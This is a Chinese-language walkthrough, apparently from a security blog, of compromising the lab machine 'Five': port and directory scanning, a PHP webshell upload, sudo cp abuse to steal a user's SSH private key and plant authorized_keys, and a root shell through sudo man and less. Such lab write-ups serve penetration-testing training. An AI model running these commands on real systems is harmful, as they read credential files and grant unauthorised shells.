红队专项·Five
前言:
作为自己的专项练习,力求培养渗透思维,熟悉工具使用,愿与诸君共勉之
信息收集
nmap探测目标IP
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
Nmap scan report for 192.168.56.101
Host is up (0.00064s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
nmap针对目标IP开放端口进行更加详细的扫描
nmap -sT -sC -sV -A -p80 192.168.56.101
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.14.2
| http-robots.txt: 1 disallowed entry
|_/admin
以上我们就发现了这么多的东西,现在我们的突破口就只有http服务了
HTTP服务渗透
"老三套",爆目录,爆子域名(这里没有绑定),web应用程序探测(中间件探测)
来吧,先是目录爆破
目录爆破
dirsearch -u http://192.168.56.101/
[20:16:12] 301 - 185B - /admin -> http://192.168.56.101/admin/
[20:16:12] 200 - 4KB - /admin/
[20:16:12] 200 - 4KB - /admin/?/login
[20:16:13] 200 - 4KB - /admin/index.html
[20:16:27] 200 - 17B - /robots.txt
[20:16:30] 200 - 346B - /upload.html
[20:16:30] 200 - 48B - /upload.php
[20:16:30] 301 - 185B - /uploads -> http://192.168.56.101/uploads/
[20:16:30] 403 - 571B - /uploads/
有信息,后面再看,接下来
web应用程序探测(中间件探测)
whatweb http://192.168.56.101
http://192.168.56.101 [403 Forbidden] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.2], IP[192.168.56.101], Title[403 Forbidden], nginx[1.14.2]
敏感目录
/admin
/admin/?/login
/robots.txt
/upload.php
/uploads/
挨着看看
/admin,一个登录页面
/robots.txt,admin路径
/upload.php
/uploads/,上传文件的存放位置
/upload.html,文件上传功能点
大概有思路了。进行文件上传getshell
文件上传getshell(突破口)
因为前面已经发现后端为php,我们搞php的shell
上传尝试
可以发现成功上传到目录uploads中,测试是否可用
无法成功执行命令,
试试修改上传目录
成功执行命令,上蚁剑进行伪终端操作
在home目录下发现一个用户为melisa下存在user.txt,然后又发现这个用户使用sudo执行/bin/cp命令时不用密码,那就好玩了
提升用户权限
我使用cp命令将user.txt复制到tmp下,但是查看不了
原因还是在cat查看命令时还是使用www-data的用户权限,而不是melisa用户的
最后查看大佬的wp发现在网络连接状态那里内网的4444端口开了个ssh服务
现在由于我们可以以melissa 的身份运行cp命令,我们可以尝试复制她的私钥以通过 SSH 以她的身份连接
cd /tmp /tmp目录下有读写权限,这样才能对文件进行操作
touch id_rsa 生成一个(空)文件,这样当我们复制私钥时,它会保留创建文件的权限而不是原始文件,这将继承其权限并且我们将没有读取能力
sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa 从Melisa的个人目录中复制私钥
chmod 600 id_rsa 适当的权限给私钥,只有我们可以读写(如果没有,连接时会报错)
ssh-keygen -y -f id_rsa > authorized_keys 我们从私钥生成公钥,因为众所周知公钥将用于其他服务
sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys 我们将公钥放在melissa的主目录中,这样她就可以检查我们的私钥是否匹配
ssh -i id_rsa melisa@localhost -p 4444
然后打印user.txt即可
提升为root权限
先看一下sudo的东西
sudo -l
Matching Defaults entries for melisa on five:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five:
(ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm,
/bin/clear
按照gtfobins中的说法,man比较简单
sudo /bin/man man
!/bin/bash
但是,默认编辑器不允许我们插入命令来启动 bash。这样,如果我们查看 man 手册,我们会发现以下内容:
清楚这一点后,我们将默认分页器更改为less,现在我们可以执行 bash:
sudo /bin/man -P less id
!/bin/bash
拿/root下的flag即可
参考文章
https://gtfobins.github.io/gtfobins/man/#sudo
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录